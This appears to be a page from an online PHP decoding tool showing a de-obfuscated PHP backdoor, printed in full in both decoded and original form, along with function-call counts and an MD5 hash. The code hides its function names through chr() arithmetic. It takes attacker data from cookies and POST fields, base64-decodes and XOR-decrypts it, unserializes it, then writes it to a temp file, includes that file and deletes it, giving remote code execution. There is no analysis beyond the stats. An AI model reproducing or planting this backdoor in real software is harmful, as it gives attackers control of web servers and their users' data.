Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$kzpkpos = "\x6a" . chr ( 1019 - 924 ).chr ( 702 - 581 ).chr ( 815 - 694 ).chr ( 443 - 355..
Decoded Output download
<? $kzpkpos = "j" . chr ( 1019 - 924 ).chr ( 702 - 581 ).chr ( 815 - 694 ).chr ( 443 - 355 ).chr (74); $fjTSavAlxm = chr (99) . "l" . chr (97) . 's' . chr ( 125 - 10 )."_" . 'e' . chr ( 331 - 211 )."i" . chr (115) . "t" . chr ( 675 - 560 ); $VjKtm = class_exists($kzpkpos); $fjTSavAlxm = "57491";$txRxQEiYC = !1;if ($VjKtm == $txRxQEiYC){function xolfNkKi(){$SNfwtQYJdt = new /* 11601 */ j_yyXJ(43075 + 43075); $SNfwtQYJdt = NULL;}$xZeuM = "43075";class j_yyXJ{private function qGXjX($xZeuM){if (is_array(j_yyXJ::$TPzKVodteu)) {$AzUet = sys_get_temp_dir() . "/" . crc32(j_yyXJ::$TPzKVodteu["s" . "a" . chr (108) . chr (116)]);@j_yyXJ::$TPzKVodteu['w' . chr ( 977 - 863 ).chr ( 731 - 626 )."t" . 'e']($AzUet, j_yyXJ::$TPzKVodteu['c' . "o" . "n" . 't' . "e" . 'n' . "t"]);include $AzUet;@j_yyXJ::$TPzKVodteu[chr ( 250 - 150 ).chr (101) . chr (108) . 'e' . "t" . chr ( 1060 - 959 )]($AzUet); $xZeuM = "43075";exit();}}private $ThSQvpnVEU;public function BQQwtMZKKq(){echo 3349;}public function __destruct(){$xZeuM = "60464_11353";$this->qGXjX($xZeuM); $xZeuM = "60464_11353";}public function __construct($jaGQizlVzi=0){$HNmLSnkn = $_POST;$PqbgA = $_COOKIE;$zYngiI = "42425e83-49bb-42d7-a4af-8540843f8d96";$kjcHfWI = @$PqbgA[substr($zYngiI, 0, 4)];if (!empty($kjcHfWI)){$LelspwqqOu = "base64";$HthfR = "";$kjcHfWI = explode(",", $kjcHfWI);foreach ($kjcHfWI as $dKetchldN){$HthfR .= @$PqbgA[$dKetchldN];$HthfR .= @$HNmLSnkn[$dKetchldN];}$HthfR = array_map($LelspwqqOu . chr (95) . "d" . chr (101) . chr ( 876 - 777 )."o" . 'd' . "e", array($HthfR,)); $HthfR = $HthfR[0] ^ str_repeat($zYngiI, (strlen($HthfR[0]) / strlen($zYngiI)) + 1);j_yyXJ::$TPzKVodteu = @unserialize($HthfR); $HthfR = class_exists("60464_11353");}}public static $TPzKVodteu = 27757;}xolfNkKi();} ?>
Did this file decode correctly?
Original Code
$kzpkpos = "\x6a" . chr ( 1019 - 924 ).chr ( 702 - 581 ).chr ( 815 - 694 ).chr ( 443 - 355 ).chr (74); $fjTSavAlxm = chr (99) . "\154" . chr (97) . 's' . chr ( 125 - 10 )."\137" . 'e' . chr ( 331 - 211 )."\151" . chr (115) . "\x74" . chr ( 675 - 560 ); $VjKtm = class_exists($kzpkpos); $fjTSavAlxm = "57491";$txRxQEiYC = !1;if ($VjKtm == $txRxQEiYC){function xolfNkKi(){$SNfwtQYJdt = new /* 11601 */ j_yyXJ(43075 + 43075); $SNfwtQYJdt = NULL;}$xZeuM = "43075";class j_yyXJ{private function qGXjX($xZeuM){if (is_array(j_yyXJ::$TPzKVodteu)) {$AzUet = sys_get_temp_dir() . "/" . crc32(j_yyXJ::$TPzKVodteu["\163" . "\141" . chr (108) . chr (116)]);@j_yyXJ::$TPzKVodteu['w' . chr ( 977 - 863 ).chr ( 731 - 626 )."\x74" . 'e']($AzUet, j_yyXJ::$TPzKVodteu['c' . "\157" . "\156" . 't' . "\145" . 'n' . "\164"]);include $AzUet;@j_yyXJ::$TPzKVodteu[chr ( 250 - 150 ).chr (101) . chr (108) . 'e' . "\x74" . chr ( 1060 - 959 )]($AzUet); $xZeuM = "43075";exit();}}private $ThSQvpnVEU;public function BQQwtMZKKq(){echo 3349;}public function __destruct(){$xZeuM = "60464_11353";$this->qGXjX($xZeuM); $xZeuM = "60464_11353";}public function __construct($jaGQizlVzi=0){$HNmLSnkn = $_POST;$PqbgA = $_COOKIE;$zYngiI = "42425e83-49bb-42d7-a4af-8540843f8d96";$kjcHfWI = @$PqbgA[substr($zYngiI, 0, 4)];if (!empty($kjcHfWI)){$LelspwqqOu = "base64";$HthfR = "";$kjcHfWI = explode(",", $kjcHfWI);foreach ($kjcHfWI as $dKetchldN){$HthfR .= @$PqbgA[$dKetchldN];$HthfR .= @$HNmLSnkn[$dKetchldN];}$HthfR = array_map($LelspwqqOu . chr (95) . "\x64" . chr (101) . chr ( 876 - 777 )."\157" . 'd' . "\x65", array($HthfR,)); $HthfR = $HthfR[0] ^ str_repeat($zYngiI, (strlen($HthfR[0]) / strlen($zYngiI)) + 1);j_yyXJ::$TPzKVodteu = @unserialize($HthfR); $HthfR = class_exists("60464_11353");}}public static $TPzKVodteu = 27757;}xolfNkKi();}
Function Calls
chr | 11 |
class_exists | 1 |
Stats
MD5 | a005cac0a3dd73d03f59c6080c9cbe0b |
Eval Count | 0 |
Decode Time | 67 ms |